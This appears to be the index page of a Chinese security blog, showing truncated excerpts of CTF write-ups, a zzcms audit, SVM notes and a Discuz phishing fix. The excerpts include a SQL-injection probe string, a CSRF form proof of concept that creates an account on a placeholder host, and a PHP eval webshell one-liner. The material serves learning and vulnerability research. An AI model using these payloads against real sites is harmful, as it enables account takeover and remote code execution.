new 一道MMS工控协议CTF题的WriteUp

0x01 赛题说明

图片 1.png

赛题说明:
只能变电站通过 61850 规约进行监控层到间隔层的数据采集,请分析网络数据包,了解 MMS 规约,进一步发现数据中隐藏的 flag。

题目:question_1531222544_JYvFGmLP49PFC0R2.pcap.zip(下载见最下方的百度云传送门)

0x02 背景知识

MMS即制造报文规范,是ISO/IEC9506标准所定义的一套用于工业控制系统的通信协议。

此处不介绍关于 MMS 协议的具体内容,只做报文简单讲解。

如果有兴趣,可以阅读此文:MMS(见最下方的百度云传送门)


- 阅读剩余部分 -

支持向量机SVM算法的学习记录

写在前面

本文是对于机器学习中SVM算法的一次学习记录,主要介绍SVM的原理和简单应用。通过自己实际操作去理解SVM。

一. 绪论

1.1 什么是机器学习

机器学习并没有准确的权威定义,但作为机器学习领域的先驱Arthur Samuel将机器学习非正式定义为:“在不直接针对问题进行编程的情况下,赋予计算机学习能力的一个研究领域。”

因此,我们可以简单的理解为,机器学习这门学科所关注的问题是计算机程序如何随着经验的积累自动提高性能。

1.2 分类算法

分类算法是数据挖掘同时也是机器学习的一个重要技术之一,其应用遍及社会各个领域。分类任务就是通过学习得到一个目标函数(通常也称作分类模型,即分类器),把每个属性集映射到一个预先定义的类标号。分类和回归都可以用于预测。和回归方法不同的是,分类的类标号是离散属性,而预测建模的回归的目标属性是连续的。

- 阅读剩余部分 -

致谢自己的二零一七

IMG_5520.JPG

真的是转眼间2017就彻底告别了,以后不会再有2017,不会再有这一年的自己。说起来2017对于自己来说真的是精彩的一年。

- 阅读剩余部分 -

实验吧WEB部分题解

写在前面

之前做的,整理笔记发出来记录一下

一、登陆一下好吗??

根据提示:
1.png

说明是一个注入题目,由于已经说了过滤了一切,所以需要看看到底过滤了什么。
01.png

提交:

username=' and or union select " < ( ) >-- #aa&password=

返回:

username:' and " < ( ) > aa

说明过滤了 or union select -- #
重新来审视这个题目,页面是一个登陆的页面,提示注入,出题者的意图其实就是让我们使用万能密码的方式进行登陆,登陆成功后,就是成功注入。但是经过上面的尝试可以知道,万能密码所需要的关键字:or union select已经被过滤了。这就需要根据实际情况进行测试了,我们可以猜测系统登陆的代码如下:




- 阅读剩余部分 -

博客换血

原来博客想搞一个HTTPS,结果各种调试不成功,把原来的博客搞的乱七八糟,于是就重新安装了一个,文章也就重新发了一遍。
这算不算是作呢~

CSRF漏洞中以form形式用POST方法提交json数据的POC

0x01 写在前面

今天遇到的,查了很多资料,发现这种形式的基本上没看到,圈子里某个师傅发了一个国外的链接,

参考了一下,最后成功构造poc。

0x02 POC

form提交post数据很简单,如下:

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

但是这种方式存在缺陷,如下图:
01.png


- 阅读剩余部分 -

缓慢的Http拒绝服务攻击漏洞的验证(slowhttptest的安装)

0x01 前言

主要记录缓慢的Http拒绝服务攻击漏洞的验证过程。

0x02 什么是Http拒绝服务攻击?

缓慢的http拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,直到服务器带宽被打满,造成了拒绝服务。
慢速HTTP拒绝服务攻击经过不断的演变和发展,主要有三种攻击类型,分别是Slow headers、Slow body、Slow read。以Slow headers为例,Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点,发起一个HTTP请求,一直不停的发送HTTP头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,每40秒才向服务器发送一个HTTP头部,而Web服务器再没接收到2个连续的rn时,会认为客户端没有发送完头部,而持续的等等客户端发送数据。如果恶意攻击者客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。这种攻击类型称为慢速HTTP拒绝服务攻击。


- 阅读剩余部分 -

zzcms v8.1审计

一、重装漏洞

和其他CMS没有什么两样,都是通过lock文件来判定是否安装过CMS,只不过这里出现问题的是,对于lock文件的判定不是全局,而是仅仅在step1进行了判定,攻击者可以直接POST请求step2、step3来进行重装。分析如下:
Install/Index.php文件:

$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
……
switch($step) {
    case '1'://协议
        include 'step_'.$step.'.php';
    break;
    case '2'://环境
        $pass = true;
        $PHP_VERSION = PHP_VERSION;
        if(version_compare($PHP_VERSION, '4.3.0', '<')) {
            $php_pass = $pass = false;
        } else {
            $php_pass = true;
        }
        $PHP_MYSQL = '';
        if(extension_loaded('mysql')) {
            $PHP_MYSQL = '支持';
            $mysql_pass = true;
        } else {
            $PHP_MYSQL = '不支持';
            $mysql_pass = $pass = false;
        }
        $PHP_GD = '';
        if(function_exists('imagejpeg')) $PHP_GD .= 'jpg';
        if(function_exists('imagegif')) $PHP_GD .= ' gif';
        if(function_exists('imagepng')) $PHP_GD .= ' png';
        if($PHP_GD) {
            $gd_pass = true;
        } else {
            $gd_pass = false;
        }
        $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用
        $url_pass = $PHP_URL ? true : false;
        include 'step_'.$step.'.php';
    break;
    case '3'://查目录属性
        include 'step_'.$step.'.php';
    break;
    case '4'://建数据库
        include 'step_'.$step.'.php';
    break;
    case '5'://安装进度
        function dexit($msg) {
            echo '<script>alert("'.$msg.'");window.history.back();</script>';
            exit;
        }
        
        if(!mysql_connect($db_host, $db_user, $db_pass)) dexit('无法连接到数据库服务器,请检查配置');
        $db_name or dexit('请填写数据库名');
        if(!mysql_select_db($db_name)) {
            if(!mysql_query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
        }
        
        //保存配置文件
        $fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
        $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
        $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
        $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
        fputs($f,$str);//把替换后的内容写入文件
        fclose($f);
        //创建数据
        include 'step_'.$step.'.php';
        break;
    case '6'://安装成功
        include 'step_'.$step.'.php';
    break;
}

- 阅读剩余部分 -

第十届信息安全国赛 Web WriteUp(部分)

PHP execise

很明显是PHP代码执行漏洞,当初做的时候绕了弯路。
当时的思路是:touch 1.php 然后file_put_contents('1.php','<?php @eval($_POST['caidao']);?>',FILE_APPEND)
想写入一句话,但是不知道什么原因,菜刀链接失败。
后来继续按照这个思路来搞,结果就有些尴尬了,网站直接被很多人玩坏了,最后直接根目录的文件都删除了。
恢复的时候在看,发现touch和所有写文件的函数(file_put_contents()、file_put_contents()、fputs())都不能用了。
然后这个思路就断了,直接跳了下一题。
后来回来做的时候想到的思路是这样:列举目录——>读文件
这个不需要拿shell也没有那么复杂。所以直接使用glob()函数查找所有php文件:

print_r(glob("*.php"));

1.png








- 阅读剩余部分 -

GCTF Web 部分writeup

前言

准备参加某个CTF竞赛,所以找了XCTF平台上的一些题目练练。也就随手做了个记录。只做了Web题目。(⊙﹏⊙‖∣ 逆向也不会啊)

第一题 热身题

这题还是比较简单的。考渗透测试的思路。第一步扫端口,第二部肯定扫目录。于是拿出AWVS。

1.png

- 阅读剩余部分 -

对于Discuz!3.2的基础认证钓鱼漏洞分析与修复

前言

最近在某个技术论坛出现了一个基础认证钓鱼的漏洞,然后分析了Discuz!3.2版本的相关源码,对于该漏洞进行了修复,此文当做个人的学习记录,如果有错误的地方,欢迎讨论交流。

分析过程

在分析漏洞之前先了解一下相关的知识科普。

401钓鱼,也叫基础认证钓鱼。在Web站点中,绝大部分的web服务器被配置为匿名访问,即用户在请求web站点访问服务器上的相关信息时,一般不会被要求提示输入相关认证标示信息,也就是说用户不需要使用用户名或者密码就可以访问网站,这也是所有开放站点所使用的配置。

在Nginx和Apache中,默认配置都是匿名访问。
如Nginx想要配置非匿名访问需要进行如下设置:
/etc/nginx/sites-enabled/default中:

server {
    server_name blog.cnpanda.net
    root /www/panda

   # ...

   location / {
        # 下面的两句是要求非匿名访问
        auth_basic "Restricted";
        auth_basic_user_file htpasswd;
        # ...
    }

   # ...
}

然后创建一个htpasswd文件就可以了,具体的在这里就不提了。

在Apache中就比较简单了,Apache的httpd.conf默认配置如下:

<directory "/etc/www">
 Options IndexesFollowSymLinks Includes
 AllowOverride None
 Order allow,deny
 Allow from all
</Directory>

如果需要修改为非匿名访问,那么就需要传递一个WWW-Authenticate的字段,如下代码就是使用Header()函数要求客户端使用BASIC验证:



- 阅读剩余部分 -